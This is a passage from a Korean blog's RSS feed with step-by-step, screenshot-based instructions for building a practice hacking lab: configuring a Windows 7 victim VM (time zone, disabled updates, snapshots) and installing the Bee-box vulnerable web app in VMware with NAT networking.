this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1022&quot; height=&quot;746&quot; data-origin-width=&quot;1022&quot; data-origin-height=&quot;746&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - 화면 꺼짐 및 컴퓨터 종료 시간 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우7 시간 설정을 위해 우측 시간을 클릭 후 Change date and time settings를 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A5KrS/btsJgaLS5jo/68qOusuzCJYSIBsT4VGM91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A5KrS/btsJgaLS5jo/68qOusuzCJYSIBsT4VGM91/img.png&quot; data-alt=&quot;그림11 - 시간 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A5KrS/btsJgaLS5jo/68qOusuzCJYSIBsT4VGM91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA5KrS%2FbtsJgaLS5jo%2F68qOusuzCJYSIBsT4VGM91%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;745&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - 시간 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Change time zone을 클릭하여 시간대를 (UTC +09:00) Seoul로 변경한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;746&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ueTUu/btsJe5ktFDu/TEP9cteSENqt7oNX3eE5nK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ueTUu/btsJe5ktFDu/TEP9cteSENqt7oNX3eE5nK/img.png&quot; data-alt=&quot;그림12 - 시간대 서울로 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ueTUu/btsJe5ktFDu/TEP9cteSENqt7oNX3eE5nK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FueTUu%2FbtsJe5ktFDu%2FTEP9cteSENqt7oNX3eE5nK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;746&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;746&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - 시간대 서울로 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌측의 시작 버튼 클릭 후, update를 검색하여 윈도우 업데이트 설정에 들어간다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1029&quot; data-origin-height=&quot;750&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YzLbs/btsJfUP2EpM/R16FwwxVcUqx2bco75IMY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YzLbs/btsJfUP2EpM/R16FwwxVcUqx2bco75IMY1/img.png&quot; data-alt=&quot;그림13 - 윈도우 업데이트 설정 들어가기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YzLbs/btsJfUP2EpM/R16FwwxVcUqx2bco75IMY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYzLbs%2FbtsJfUP2EpM%2FR16FwwxVcUqx2bco75IMY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1029&quot; height=&quot;750&quot; data-origin-width=&quot;1029&quot; data-origin-height=&quot;750&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림13 - 윈도우 업데이트 설정 들어가기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌측의 Change settings를 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/011S5/btsJfOWDAHG/nQPsS0FpSIwmlpTtEQPyik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/011S5/btsJfOWDAHG/nQPsS0FpSIwmlpTtEQPyik/img.png&quot; data-alt=&quot;그림14 - Change settings&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/011S5/btsJfOWDAHG/nQPsS0FpSIwmlpTtEQPyik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F011S5%2FbtsJfOWDAHG%2FnQPsS0FpSIwmlpTtEQPyik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1026&quot; height=&quot;745&quot; data-origin-width=&quot;1026&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림14 - Change settings&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 환경을 유지하기 위해 윈도우 자동 업데이트 설정을 업데이트 하지 않는 것으로 변경한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Never check for updates를 클릭 후 OK 하여 설정을 완료한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;747&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3jrMl/btsJhihMyFH/egFkidwAhCOF8pGYKWrjzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3jrMl/btsJhihMyFH/egFkidwAhCOF8pGYKWrjzK/img.png&quot; data-alt=&quot;그림15 - Never check for updates&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3jrMl/btsJhihMyFH/egFkidwAhCOF8pGYKWrjzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3jrMl%2FbtsJhihMyFH%2FegFkidwAhCOF8pGYKWrjzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1025&quot; height=&quot;747&quot; data-origin-width=&quot;1025&quot; data-origin-height=&quot;747&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림15 - Never check for updates&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;윈도우7 환경 설정 후 스냅샷을 찍어 초기설정을 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좌측 VM에서 IE11 - Win7를 마우스 우측클릭 후 Snapshot &amp;rarr; Take Snapshot 으로 스냅샷을 저장한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yIX4P/btsJfmlS7Fp/BjqttS6P0nIYZGWD7qpdd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yIX4P/btsJfmlS7Fp/BjqttS6P0nIYZGWD7qpdd1/img.png&quot; data-alt=&quot;그림16 - 스냅샷 찍기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yIX4P/btsJfmlS7Fp/BjqttS6P0nIYZGWD7qpdd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyIX4P%2FbtsJfmlS7Fp%2FBjqttS6P0nIYZGWD7qpdd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1229&quot; height=&quot;884&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림16 - 스냅샷 찍기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스냅샷 이름과 설명은 임의로 설정 후 Take Snapshot을 클릭하여 저장한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WxezS/btsJg4qyjEc/i7s7LCifHZP036nK5AU9Y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WxezS/btsJg4qyjEc/i7s7LCifHZP036nK5AU9Y1/img.png&quot; data-alt=&quot;그림17 - 스냅샷 찍기2&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WxezS/btsJg4qyjEc/i7s7LCifHZP036nK5AU9Y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWxezS%2FbtsJg4qyjEc%2Fi7s7LCifHZP036nK5AU9Y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1229&quot; height=&quot;883&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림17 - 스냅샷 찍기2&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Snapshot Manager에서 방금 찍은 스냅샷을 확인할 수 있으며, Go To를 클릭하면 해당 스냅샷을 찍은 환경으로 복구된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1230&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cU4ZxU/btsJhhJXVxc/GdHymxhBTJdpg2KyCw3Ly1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cU4ZxU/btsJhhJXVxc/GdHymxhBTJdpg2KyCw3Ly1/img.png&quot; data-alt=&quot;그림18 - Snapshot Manager&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cU4ZxU/btsJhhJXVxc/GdHymxhBTJdpg2KyCw3Ly1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcU4ZxU%2FbtsJhhJXVxc%2FGdHymxhBTJdpg2KyCw3Ly1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1230&quot; height=&quot;883&quot; data-origin-width=&quot;1230&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림18 - Snapshot Manager&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>보안/환경 구축</category>
      <category>모의해킹</category>
      <category>윈도우7</category>
      <category>환경 구축</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/190</guid>
      <comments>https://it-log.tistory.com/190#entry190comment</comments>
      <pubDate>Thu, 29 Aug 2024 01:00:57 +0900</pubDate>
    </item>
    <item>
      <title>비박스(Bee-box) 설치하기</title>
      <link>https://it-log.tistory.com/189</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;환경 설명&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;모의해킹 환경 구성을 위한 VMware Workstation Pro 사전 설치 완료&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;공격자: 칼리리눅스 (2022년 3월 버전)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;희생자: &lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;Metasploitable2(msfv2)&lt;/span&gt;, beebox(bee-box v1.6), win7&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;비박스(Bee-box) 설치&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://sourceforge.net/projects/bwapp/files/bee-box/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://sourceforge.net/projects/bwapp/files/bee-box/&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1724662790943&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;bWAPP -  Browse /bee-box at SourceForge.net&quot; data-og-description=&quot;The Complete PDF SDK Bring PDF viewing, annotating, editing, creation, and generation to any web, mobile, desktop or server framework or application.&quot; data-og-host=&quot;sourceforge.net&quot; data-og-source-url=&quot;https://sourceforge.net/projects/bwapp/files/bee-box/&quot; data-og-url=&quot;https://sourceforge.net/projects/bwapp/files/bee-box/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://sourceforge.net/projects/bwapp/files/bee-box/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://sourceforge.net/projects/bwapp/files/bee-box/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;bWAPP - Browse /bee-box at SourceForge.net&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;The Complete PDF SDK Bring PDF viewing, annotating, editing, creation, and generation to any web, mobile, desktop or server framework or application.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;sourceforge.net&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;위 URL 에서 비박스를 다운로드 받는다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;D 드라이브에 파일을 다운로드 후 압축 해제를 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;반디집을 사용하여 압축 해제 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;개인마다 설치경로는 다르므로 아래 경로는 참고만 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;비박스 설치 경로: D:\bee-box_v1.6\bee-box&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2FgpN/btsJfoKEPbR/nol5DkHVH85vRJKjYKBze1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2FgpN/btsJfoKEPbR/nol5DkHVH85vRJKjYKBze1/img.png&quot; data-alt=&quot;그림1 - VMware Workstation Pro 파일 열기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2FgpN/btsJfoKEPbR/nol5DkHVH85vRJKjYKBze1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2FgpN%2FbtsJfoKEPbR%2Fnol5DkHVH85vRJKjYKBze1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1122&quot; height=&quot;764&quot; data-origin-width=&quot;1122&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - VMware Workstation Pro 파일 열기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;그림1의 File - Open 을 클릭하여 D드라이브에서 비박스 압축해제 파일의 VMX 파일을 불러온다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;735&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dRwvc3/btsJg9LW0Sp/WovwwVJbZdnNT0nZddS3nK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dRwvc3/btsJg9LW0Sp/WovwwVJbZdnNT0nZddS3nK/img.png&quot; data-alt=&quot;그림2 - 비박스 vmx 파일 불러오기&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dRwvc3/btsJg9LW0Sp/WovwwVJbZdnNT0nZddS3nK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdRwvc3%2FbtsJg9LW0Sp%2FWovwwVJbZdnNT0nZddS3nK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1102&quot; height=&quot;735&quot; data-origin-width=&quot;1102&quot; data-origin-height=&quot;735&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 비박스 vmx 파일 불러오기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;비박스를 불러온 후 Edit virtual machine settings 를 클릭하여 환경설정을 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;네트워크, 가상환경 사용을 위한 용량 설정 등을 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;809&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sv2BG/btsJgwVsn24/f08023UkbKd5d5rqihQrqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sv2BG/btsJgwVsn24/f08023UkbKd5d5rqihQrqk/img.png&quot; data-alt=&quot;그림3 - 비박스 환경 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sv2BG/btsJgwVsn24/f08023UkbKd5d5rqihQrqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSv2BG%2FbtsJgwVsn24%2Ff08023UkbKd5d5rqihQrqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1392&quot; height=&quot;809&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;809&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 비박스 환경 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;위의 그림 3의 설정은 기본 설정으로, Network Adapter 설정을 NAT로 변경해야 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;호스트 PC의 환경에 따라 Memory와 Processors 용량이 달라질 수 있지만, 요즘 PC 환경에서는 무리없이 사용가능한 용량이다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Memory: 가상환경에서 사용하는 RAM Memory 용량&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Processors: 가상환경에서 사용하는 CPU 코어 개수&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Hard Disk: 가상환경이 차지하는 호스트 PC의 최대 HDD 용량&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Network Adapter: NAT (호스트 PC로 부터 IP 할당 받음)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Network 방식에 대한 설명은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://developerin.tistory.com/18&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;여기&lt;/a&gt;를 참고한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;729&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBheZu/btsJgKFNEVD/P1iHPzuNSHTCxuWMMqHNak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBheZu/btsJgKFNEVD/P1iHPzuNSHTCxuWMMqHNak/img.png&quot; data-alt=&quot;그림4 - Network Adapter 설정 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBheZu/btsJgKFNEVD/P1iHPzuNSHTCxuWMMqHNak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBheZu%2FbtsJgKFNEVD%2FP1iHPzuNSHTCxuWMMqHNak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;746&quot; height=&quot;729&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;729&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - Network Adapter 설정 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Network Adapter 설정을 NAT를 클릭 후 OK를 눌러서 변경한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1390&quot; data-origin-height=&quot;807&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUbSyV/btsJhbCZSq3/ZL8TWW3yf3FikKFCcoBmN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUbSyV/btsJhbCZSq3/ZL8TWW3yf3FikKFCcoBmN1/img.png&quot; data-alt=&quot;그림5 - 네트워크 설정 NAT 변경 후 시작&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUbSyV/btsJhbCZSq3/ZL8TWW3yf3FikKFCcoBmN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUbSyV%2FbtsJhbCZSq3%2FZL8TWW3yf3FikKFCcoBmN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1390&quot; height=&quot;807&quot; data-origin-width=&quot;1390&quot; data-origin-height=&quot;807&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림5 - 네트워크 설정 NAT 변경 후 시작&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NAT로 변경 후 Power on this virtual machine을 클릭하여 비박스를 시작한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;그림6 에서 I copied 클릭하여 다음으로 이동한다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;812&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cTElf7/btsJgBCjKyD/41igIaFpf4uTgkkVHkVFkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cTElf7/btsJgBCjKyD/41igIaFpf4uTgkkVHkVFkK/img.png&quot; data-alt=&quot;그림6 - 비박스 실행&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTElf7/btsJgBCjKyD/41igIaFpf4uTgkkVHkVFkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcTElf7%2FbtsJgBCjKyD%2F41igIaFpf4uTgkkVHkVFkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1392&quot; height=&quot;812&quot; data-origin-width=&quot;1392&quot; data-origin-height=&quot;812&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림6 - 비박스 